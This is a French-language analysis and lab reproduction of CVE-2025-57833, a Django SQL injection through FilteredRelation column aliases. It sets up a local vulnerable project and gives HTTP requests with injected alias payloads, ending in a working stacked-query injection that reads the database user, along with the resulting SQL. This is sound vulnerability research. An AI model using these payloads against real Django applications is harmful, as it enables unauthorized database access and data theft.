
Analyse et reproduction de CVE-2025-57833
Django a révélé une vulnérabilité d'injection SQL après un an. À première vue, l'injection est causée par les alias (car les alias ne peuvent pas être précompilés).
Cette vulnérabilité affecte la fonctionnalité FilteredRelation du framework Django. Lorsque les méthodes QuerySet.annotate() ou QuerySet.alias() sont utilisées et qu'un alias de colonne est fourni via l'expansion de dictionnaire Python (**kwargs), il existe un risque d'injection SQL. Cela est dû à une validation insuffisante des clés du dictionnaire (c'est-à-dire les alias de colonnes), ce qui permet à un attaquant de construire un dictionnaire malveillant pour injecter des instructions SQL non restreintes.
Les versions concernées par cette vulnérabilité sont :
Le projet lié à cette vulnérabilité est construit à l'aide du devcontainer de VSCode.
1️⃣ Ouvrir le projet
Ouvrir le répertoire racine du projet existant (contenant le dossier .devcontainer) avec VS Code.
2️⃣ Rouvrir le conteneur (construire le Dev Container)
Appuyer sur Ctrl+Shift+P (Windows/Linux) ou Cmd+Shift+P (Mac)
Saisir Remote-Containers: Reopen in Container
VS Code lit la configuration .devcontainer et construit le conteneur (la première construction peut prendre quelques minutes).
⚠️ Si le Dockerfile ou les dépendances ont été mis à jour, vous pouvez sélectionner Remote-Containers: Rebuild Container pour garantir l'utilisation de l'environnement le plus récent.
3️⃣ Exécuter le serveur de développement Django
Ouvrir la palette de commandes : Ctrl+Shift+P
Saisir Tasks: Run Task
Sélectionner django:start (la tâche est déjà configurée dans .vscode/tasks.json)
Cette tâche démarre le serveur de développement Django dans le conteneur.
Il écoute par défaut sur 0.0.0.0:8085.
4️⃣ Ouvrir le navigateur pour accéder au projet
Ouvrir le navigateur et accéder à :
5️⃣ Remarques
Première exécution :
Une migration de la base de données peut être nécessaire :
python manage.py migrate
Après le démarrage du serveur, accéder à http://localhost:8085
Accéder normalement à l'endpoint /book/search
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

Le SQL compilé en interne par l'ORM de Django est alors :
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
On peut voir qu'un alias XXX est créé pour la table vuln_author. D'après l'analyse du correctif ci-dessus, XXX n'est pas filtré actuellement, ce qui permet d'y injecter du code.
L'utilisation directe d'une injection par requêtes empilées ne fonctionne pas : comme la première instruction SQL est invalide, la seconde n'est pas exécutée.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

Il faut donc d'abord rendre la première instruction valide. Ici, comme il s'agit d'une relation de jointure, on utilise directement la syntaxe USING.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

L'injection a ainsi réussi : l'utilisateur d'exécution de la base de données trouvé est postgres. L'instruction SQL compilée avec succès en interne est alors :
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0